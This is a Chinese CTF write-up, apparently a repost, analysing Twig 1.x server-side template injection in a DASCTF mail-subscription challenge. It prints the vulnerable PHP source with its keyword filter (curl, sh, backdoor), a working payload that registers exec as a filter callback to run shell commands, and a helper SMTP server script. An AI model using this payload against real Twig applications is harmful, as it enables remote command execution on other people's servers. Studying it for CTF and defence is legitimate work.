由一道CTF赛题分析Twig SSTI利用方式

admin 2021年11月17日02:50:48评论274 views字数 4492阅读14分58秒阅读模式

前言

在上周末刚刚结束的安恒6月赛DASCTF中,有一道web题涉及 Twig 模板注入,而两个月前的 volgactf 也涉及了同样的内容,但所使用的版本不同。本文通过CTF题的解法来分析 Twig 模板注入的利用方式

Subscribe@DASCTF

这是一道白盒代码审计题,给出的源码如下(作者注:本题目是基于Twig 1.x版本)

<?php
require_once "mail/smtp.class.php";
require_once "mail/smtp.send.php";
require_once "libs/common.func.php";
include 'vendor/twig/twig/lib/Twig/Autoloader.php';

function mailCheck($s) {
   if (preg_match('/\|/|~|&|^|`|*|?/i',$s))
  {
       alertMes('damn hacker!', './index.php');
       return false;
  }

   if (!preg_match('/libs|smtp|curl|dev|index.php|ftp|backdoor|sh/i', $s) )
  {
       if (  preg_match_all('/@/', $s) === 1 )
      {
           $arr = explode('@',$s);
           $domain = end($arr);
           if (!preg_match('/[^a-z0-9._-]/i', $domain))
          {
               return true;
          }
      }
  }

   return false;
}

function alertMes($mes, $url)
{
   echo "<script>
           alert('{$mes}');
           location.href='{$url}';
   </script>";
   die;
}

$smtpEmailTo = $_POST['toemail'];

if (!mailCheck($smtpEmailTo))
{
   alertMes("hacker", "/index.php"); //die;
}

//为了减少邮件服务器压力,任何fuzz都请带上$_POST['test'] 请充分测试后再订阅并发邮件,如果检测到某个用户频繁无脑发邮件会被封禁。
if (isset($_POST['test']))
{
   user_are_fuzzing_and_smtp_server_wont_send_email();
   die;
}

//do not trick
Twig_Autoloader::register();
$loader = new Twig_Loader_String()
$twig = new Twig_Environment($loader);
$yourName = pos(explode( '@', $smtpEmailTo));
$content = @$twig->render($yourName);
$mailcontent = "<h1>Hello <font color=red>".$content."</font><br>Welcome to DASCTF June, Have FUN!</h1>";
$smtp = new Smtp($smtpserver, $smtpserverport, true, $smtpuser, $smtppass);
$smtp->debug = false;
$state = $smtp->sendmail($smtpEmailTo, $smtpusermail, $mailtitle, $mailContent, $mailtype);


/* flag is in flag.php */

首先我们分析本题目代码逻辑,由用户传入一个Email地址,服务器端从用户输入的Email地址中提取用户名传入Twig模板,渲染一封包含用户名的邮件发送至该Email地址。

利用点在提取用户名并渲染的逻辑中,我们可以看到 $yourname 是提取 $smtpEmailTo 中 @前面的值,既用户名,然后在 $content = @$twig->render($yourName); 中将用户名直接传入Twig 模板渲染执行。由于 $yourName 是由用户输入,完全可控。

然后我们看 mailCheck 函数中的过滤规则,两个if判断逻辑过滤了几种特殊符号和关键字,并没有过滤花括号{}和一些其他关键类名,所以我们可以构造形如 {{7*7}}@yourmail.com 的Email地址传入进行SSTI。

payload分析

本题所用payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("a=cat;b=flag.php;$a $b")}}@yourmail.com

_self

_self在Twig框架中是一个特殊全局变量,会返回当前 TwigTemplate 实例,可以继续调用实例中的方法,相关代码位src/Node/Expression/NameExpression.php

class NameExpression extends AbstractExpression
{
   protected $specialVars = [
       '_self' => '$this',
       '_context' => '$context',
       '_charset' => '$this->env->getCharset()',
  ];
   
   …………省略其他代码……………

注意因为本题目中使用Twig 1.x版本,所以此方法有效,在后续的2.x 和 3.x 版本中,这一变量只能返回当前实例名字符串

class NameExpression extends AbstractExpression
{
   private $specialVars = [
       '_self' => '$this->getTemplateName()',
       '_context' => '$context',
       '_charset' => '$this->env->getCharset()',
  ];
   
   …………省略其他代码……………

官方文档https://twig.symfony.com/doc/1.x/deprecated.html#globals

registerUndefinedFilterCallback 和 getFilter

这两个函数都位于 src/Environment.php

public function getFilter($name)
{
   if (!$this->extensionInitialized) {
       $this->initExtensions();
  }

   if (isset($this->filters[$name])) {
       return $this->filters[$name];
  }

   foreach ($this->filters as $pattern => $filter) {
       $pattern = str_replace('\*', '(.*?)', preg_quote($pattern, '#'), $count);

       if ($count) {
           if (preg_match('#^'.$pattern.'$#', $name, $matches)) {
               array_shift($matches);
               $filter->setArguments($matches);

               return $filter;
          }
      }
  }

   foreach ($this->filterCallbacks as $callback) {
       if (false !== $filter = call_user_func($callback, $name)) {
           return $filter;
      }
  }

   return false;
}

public function registerUndefinedFilterCallback($callable)
{
   $this->filterCallbacks[] = $callable;
}

registerUndefinedFilterCallback("exec")exec 传入到全局数组 filterCallbacks[] 中,getFilter("a=cat;b=flag.php;$a $b")"a=cat;b=flag.php;$a $b" 传入 $name  

call_user_func

最终的命令执行点在foreach中的 call_user_func

由一道CTF赛题分析Twig SSTI利用方式

$callback 为数组中的值,此处为 exec ,所以此处 call_user_func 执行的是

call_user_func("exec", "a=cat;b=flag.php;$a $b")

达到了最终执行命令的目的

还要个邮件服务器

对于本CTF题,我们还需要通过该地址接收邮件才能看到回显的flag,而一般的邮件服务提供商基本不允许用户名中存在特殊符号,所以我们在vps上用python临时搭建一个邮件服务器,并将域名MX记录解析到vps上。这是一个python邮件服务器的简易脚本

from __future__ import print_function
from datetime import datetime
import asyncore
from smtpd import SMTPServer

class EmlServer(SMTPServer):
   no = 0
   def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None,rcpt_options=None):
       filename = '%s-%d.eml' % (datetime.now().strftime('%Y%m%d%H%M%S'),
               self.no)
       f = open(filename, 'wb')
       print(data)
       f.write(data)
       f.close
       print('%s saved.' % filename)
       self.no += 1


def run():
   foo = EmlServer(('0.0.0.0', 25), None)
   try:
       asyncore.loop()
   except KeyboardInterrupt:
       pass


if __name__ == '__main__':
   run()

结语

本题是基于Twig 1.x开发,payload中所使用的_self变量在之后的版本已经弃用。在之后的文章我们将分享Twig 2.x & 3.x SSTI利用方式。


求👍求转求点在看

长按图片关注公众号

由一道CTF赛题分析Twig SSTI利用方式


本文始发于微信公众号(宽字节安全):由一道CTF赛题分析Twig SSTI利用方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月17日02:50:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   由一道CTF赛题分析Twig SSTI利用方式http://cn-sec.com/archives/497842.html

发表评论

匿名网友 填写信息